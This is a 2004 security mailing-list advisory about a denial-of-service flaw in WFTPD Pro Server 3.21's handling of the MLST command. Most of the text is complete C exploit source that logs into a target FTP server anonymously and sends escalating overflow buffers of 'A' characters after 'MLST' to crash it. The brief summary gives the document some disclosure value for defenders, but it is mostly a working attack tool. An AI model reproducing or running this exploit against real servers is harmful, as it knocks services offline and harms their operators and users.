Date: 31 Aug 2004 17:59:12 +0200
From: SecuriTeam <[email protected]>
To: [email protected]Subject: [NT] WFTPD Pro Server MLST Command DoS
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WFTPD Pro Server MLST Command DoS
------------------------------------------------------------------------
SUMMARY
<http://www.wftpd.com/>; WFTPD is "a popular FTP server for Windows". A
vulnerability in the way the product parses MLST commands allows a remote
attacker to trigger a denial of service situation in the product.
DETAILS
Vulnerable Systems:
* WFTPD Pro Server 3.21 Release 3
Exploit:
/*
*-----------------------------------------------------------------------
*
* wftpd.c - WFTPD Pro Server 3.21 MLST DoS Exploit
*
* Copyright (C) 2000-2004 HUC All Rights Reserved.
*
* Author : lion
* : [email protected]
* : http://www.cnhonker.com
* Date : 2004-08-30
*
*-----------------------------------------------------------------------
*/
#include <stdio.h>
#include <stdlib.h>
#include <winsock2.h>
#pragma comment(lib, "ws2_32.lib")
#define FTPPORT 21
#define BUFFSIZE 204800
#define OVERFLOWSIZE 220
#define SIZE 2048
// function
int create_socket();
int client_connect(int sockfd,char* server,int port);
int writebuf(char *s,int socket,char *buffer,int len);
int readbuf(char *s,int socket,char *buffer,int len);
void checkstatus(char *s);
void loginftp(SOCKET sockfd, char *user, char *pass);
int show = 1;
char recvbuf[BUFFSIZE];
char sendbuf[BUFFSIZE];
void main(int argc, char *argv[])
{
WSADATA wsa;
unsigned short port;
unsigned long ip;
char user[32] = "anonymous";
char pass[32] = "anonymous";
int i;
char *command = "MLST ";
SOCKET s;
int size = OVERFLOWSIZE;
printf("WFTPD Pro Server 3.21 MLST DoS Exploit\r\n");
printf("lion lion#cnhonker.net, http://www.cnhonker.com\r\n\n");
if(argc < 3)
{
printf("%s <TargetHost> <TargetPort>\r\n", argv[0]);
return;
}
WSAStartup(MAKEWORD(2,2),&wsa);
if((s=create_socket())==0)
{
printf("[-] ERROR: Create socket failed.\r\n");
return;
}
if(!client_connect(s, argv[1], atoi(argv[2])))
exit(-1);
loginftp(s, user, pass);
memset(sendbuf, 0 ,BUFFSIZE);
memcpy(sendbuf, "pasv\r\n", 6);
writebuf("Send pasv", s, sendbuf, 6);
readbuf("read", s, recvbuf, BUFFSIZE);
for(i=0;i<60;i++,size++)
{
memset(sendbuf, 0, BUFFSIZE);
memset(sendbuf, 'A', size);
memcpy(sendbuf, command, strlen(command));
sendbuf[size-2] ='\r';
sendbuf[size-1] ='\n';
printf("buff size :%d\r\n%s\r\n", strlen(sendbuf), sendbuf);
show=1;
writebuf("Send overflow buff", s, sendbuf, size);
readbuf("read", s, recvbuf, BUFFSIZE);
Sleep(500);
}
//send QUIT
memset(sendbuf,0, BUFFSIZE);
sprintf(sendbuf, "%s\r\n", "QUIT");
writebuf("Send QUIT", s, sendbuf, strlen(sendbuf));
//show=1;
//readbuf("[+] QUIT......", s, recvbuf, BUFFSIZE);
//return;
if(s)
closesocket(s);
WSACleanup();
}
int create_socket()
{
int sockfd;
sockfd=socket(AF_INET,SOCK_STREAM,0);
if(sockfd<0)
{
printf("[-] Create socket error.\r\n");
return(0);
}
return(sockfd);
}
int client_connect(int sockfd,char* server,int port)
{
struct sockaddr_in cliaddr;
struct hostent *host;
if((host=gethostbyname(server))==NULL)
{
printf("[-] ERROR: gethostbyname(%s) error\n", server);
return(-1);
}
memset(&cliaddr, 0, sizeof(struct sockaddr));
cliaddr.sin_family=AF_INET;
cliaddr.sin_port=htons(port);
cliaddr.sin_addr=*((struct in_addr *)host->h_addr);
printf("[+] Trying %s:%d......", server, port);
fflush(stdout);
if(connect(sockfd,(struct sockaddr *)&cliaddr,sizeof(struct
sockaddr))<0)
{
printf("FAILED!\r\n");
closesocket(sockfd);
return(-1);
}
printf("OK!\r\n");
return(1);
}
int writebuf(char *s,int socket,char *buffer,int len)
{
int j;
if(s)
{
printf("[+] %s......", s);
fflush(stdout);
}
j=send(socket,buffer,len,0);
if(j<=0)
{
printf("FAILED!\r\n");
exit(-1);
}
printf("OK!\r\n");
return j;
}
int readbuf(char *s,int socket,char *buffer,int len)
{
int a,b,i,j=0;
a=b=i=0;
memset(buffer,0,len);
if(s)
{
printf("[+] %s......", s);
fflush(stdout);
}
j=recv(socket,buffer,len-1,0);
if(j <= 0)
{
if(s) printf("FAILED!\n");
printf("[-] Recv data error.\n");
exit(-1);
}
if(s) printf("OK!\n");
buffer[len-1]='\0';
if(show==1) printf("<==\r\n%s<==\r\n",buffer);
return j;
}
void checkstatus(char *s)
{
if(s==NULL) exit(-1);
if(isdigit(*s))
{
if(s[0]=='5')
{
printf("[-] Server told:%s\n",s);
exit(-1);
}
else return;
}
printf("[-] Server said:%s\n",s);
exit(-1);
}
void loginftp(SOCKET sockfd, char *user, char *pass)
{
int j;
show=1;
readbuf("Get FTP Server banner",sockfd, recvbuf, SIZE);
//show=0;
//send USER username
memset(sendbuf,0,BUFFSIZE);
j=sprintf(sendbuf,"%s %s\r\n", "USER", user);
writebuf("Send USER", sockfd,sendbuf,j);
readbuf(NULL,sockfd, recvbuf, BUFFSIZE);
checkstatus(recvbuf);
//send PASS password
memset(sendbuf,0,BUFFSIZE);
j=sprintf(sendbuf,"%s %s\r\n","PASS", pass);
writebuf("Send PASS", sockfd, sendbuf, j);
readbuf(NULL,sockfd,recvbuf, BUFFSIZE);
checkstatus(recvbuf);
printf("[+] User %s logged in.\r\n", user);
}
ADDITIONAL INFORMATION
The information has been provided by <mailto:[email protected]> lion.
The original article can be found at:
<http://www.cnhonker.com/index.php?module=releases&act=view&type=2&id=63>;
http://www.cnhonker.com/index.php?module=releases&act=view&type=2&id=63
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